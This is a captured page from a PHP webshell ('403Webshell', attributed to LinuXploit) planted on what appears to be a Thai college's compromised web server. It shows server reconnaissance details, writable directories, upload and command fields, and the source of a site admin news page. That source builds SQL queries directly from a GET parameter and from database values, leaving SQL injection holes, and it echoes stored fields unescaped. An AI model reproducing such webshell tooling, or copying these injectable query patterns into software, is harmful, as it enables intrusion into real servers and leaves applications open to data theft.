403Webshell
Server IP : 202.29.229.35  /  Your IP : 18.224.51.27
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/system_admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/system_admin/pdNews_Showdetail.php
<?php 
session_start();
if($_SESSION['r_statuslogin'] != 1){
 echo '<script language="javascript">alert("สำหรับผู้ดูแลระบบเท่านั้น")</script>';
 echo'<meta http-equiv="refresh" content="0;url=../index.php">';
 exit();
}
/*
	include('connect/connect.php');
	include('connect/function.php');
	*/
	$wrokID=$_SESSION['r_workId'];
	
	$dpN_ID=$_GET['dpN_ID'];
			//echo "---++".$wrokID;
			        //if($wrokID == 1){
						$sql="select * from tbl_dpnews where dpN_ID='$dpN_ID' ";
					 /*}else{
						
					 	$sql="select * from tbl_dpnews where dp_ID ='$wrokID' and dpN_ID='$dpN_ID'";
					 }
					 */
					$result=mysqli_query($connect1,$sql);
					$num_cd=mysql_num_rows($result);
					$rs=mysqli_fetch_assoc($result);
					
					$dpN_Fiel=$rs['dpN_Fiel'];
					$dp_ID=$rs['dp_ID'];
				
							
					$queryper = "select * from tbl_datatecher1 where tecNumber='$dp_ID' ";
					//echo $queryper;
					$resultper=mysqli_query($connect1,$queryper);
					$rspertec=mysqli_fetch_assoc($resultper);
					
					$tecPrefixThai=$rspertec['tecPrefixThai'];//คำนำหน้าชื่อ
					$selectwork = $rspertec['selectwork'];//กลุ่มงาน
					//คำนำหน้าชื่อ
					$sqlpf="select * from ref_prefix_name where PREFIX_NAME_ID=$tecPrefixThai";
					$resulpf=mysqli_query($connect1,$sqlpf);
					$rspf=mysqli_fetch_assoc($resulpf);
					$tecPrefixThaiori=$rspf['FULLNAME'];
					
						//ชื่อกลุ่มงาน
						$sqlwork="select * from tbl_departmentall where daNodpt='$selectwork' ";
						$resqlwork=mysqli_query($connect1,$sqlwork);
						$rswork=mysqli_fetch_assoc($resqlwork);
						$workname = $rswork['daFname'];
						
   						$workusername=$tecPrefixThaiori."&nbsp;".$rspertec['tecFnameThai']."&nbsp;&nbsp;".$tecLname=$rspertec['tecLnameThai']." (".$workname.")";
							
					
	?>
<html>
<head>
<title></title>
<link rel="stylesheet" type="text/css" href="style.css" />
</head>
<body>

<p>&nbsp; </p>
 
<table width="800" border="0" align="center" cellpadding="0" cellspacing="1">
  <tr>
    <td width="795" height="28" align="center" valign="middle"><B>ข่าวประชาสมพันธ์ของงาน&nbsp;[<?php echo $tecname;?>]</B></td>
  </tr>
  <tr>
    <td height="28" align="right" valign="middle">[<a href="?i=pdNews">ย้อนกลับ</a>]</td>
  </tr>
  <tr>
    <td height="28" align="center" valign="middle"><table width="600" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td valign="middle"><center>
          <?php echo $rs['dpN_Title'];?>
        </center>
          <hr width="600">
          <p style="text-align:justify"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <?php echo $rs['dpN_Detail'];?></p>
          <hr width="600">
          <font color="#0099FF"><i>โดย :</i> <?php echo $workusername;?></font>
          <table width="600" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="98"><font color="#666666"><i>ไฟล์ที่เกี่ยวข้อง :</i>&nbsp;</font></td>
              <?php if($rs['fileName1'] !=""){ ?>
              <td width="402" style="border-bottom:#333333 dotted 1px"><font color="#666666"><?php echo $rs['fileName1'];?></font></td>
              <td width="100" style="border-bottom:#333333 dotted 1px"><font color="#666666">
                <?php if($rs['dpN_Fiel'] !=""){ ?>
                <a href="file_dpNews/<?php echo $rs['dpN_Fiel'];?>" target="_blank"><img src="../images/icon-download.gif" width="100" border="0" /></a>
                <?php }else{ echo ""; }?>
              </font></td>
              <?php }else{ echo ""; }?>
            </tr>
            <tr>
              <td width="98">&nbsp;</td>
              <?php if($rs['fileName2'] !=""){ ?>
              <td width="402" style="border-bottom:#333333 dotted 1px"><?php echo $rs['fileName2'];?></td>
              <td width="100" style="border-bottom:#333333 dotted 1px"><?php if($rs['dpN_Fiel2'] !=""){ ?>
                <a href="file_dpNews/<?php echo $rs['dpN_Fiel2'];?>" target="_blank"><img src="../images/icon-download.gif" width="100" border="0" /></a>
                <?php }else{ echo ""; }?></td>
              <?php }else{ echo ""; }?>
            </tr>
            <tr>
              <td width="98">&nbsp;</td>
              <?php if($rs['fileName3'] !=""){ ?>
              <td width="402" style="border-bottom:#333333 dotted 1px"><?php echo $rs['fileName3'];?></td>
              <td width="100" style="border-bottom:#333333 dotted 1px"><?php if($rs['dpN_Fiel3'] !=""){ ?>
                <a href="file_dpNews/<?php echo $rs['dpN_Fiel3'];?>" target="_blank"><img src="../images/icon-download.gif" width="100" border="0" /></a>
                <?php }else{ echo ""; }?></td>
              <?php }else{ echo ""; }?>
            </tr>
            <tr>
              <td width="98">&nbsp;</td>
              <?php if($rs['fileName4'] !=""){ ?>
              <td width="402" style="border-bottom:#333333 dotted 1px"><?php echo $rs['fileName4'];?></td>
              <td width="100" style="border-bottom:#333333 dotted 1px"><?php if($rs['dpN_Fiel4'] !=""){ ?>
                <a href="file_dpNews/<?php echo $rs['dpN_Fiel4'];?>" target="_blank"><img src="../images/icon-download.gif" width="100" border="0" /></a>
                <?php }else{ echo ""; }?></td>
              <?php }else{ echo ""; }?>
            </tr>
            <tr>
              <td width="98">&nbsp;</td>
              <?php if($rs['fileName5'] !=""){ ?>
              <td width="402" style="border-bottom:#333333 dotted 1px"><?php echo $rs['fileName5'];?></td>
              <td width="100" style="border-bottom:#333333 dotted 1px"><?php if($rs['dpN_Fiel5'] !=""){ ?>
                <a href="file_dpNews/<?php echo $rs['dpN_Fiel5'];?>" target="_blank"><img src="../images/icon-download.gif" width="100" border="0" /></a>
                <?php }else{ echo ""; }?></td>
              <?php }else{ echo ""; }?>
            </tr>
          </table>
          <font color="#666666">&nbsp;</font><br>
          &nbsp; &nbsp;<br>
          &nbsp; &nbsp;<br>
          &nbsp; &nbsp;&nbsp;<br>
          &nbsp; &nbsp;&nbsp;<br></td>
      </tr>
    </table></td>
  </tr>
 
</table>
<p>&nbsp;</p>
<p>&nbsp;</p>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit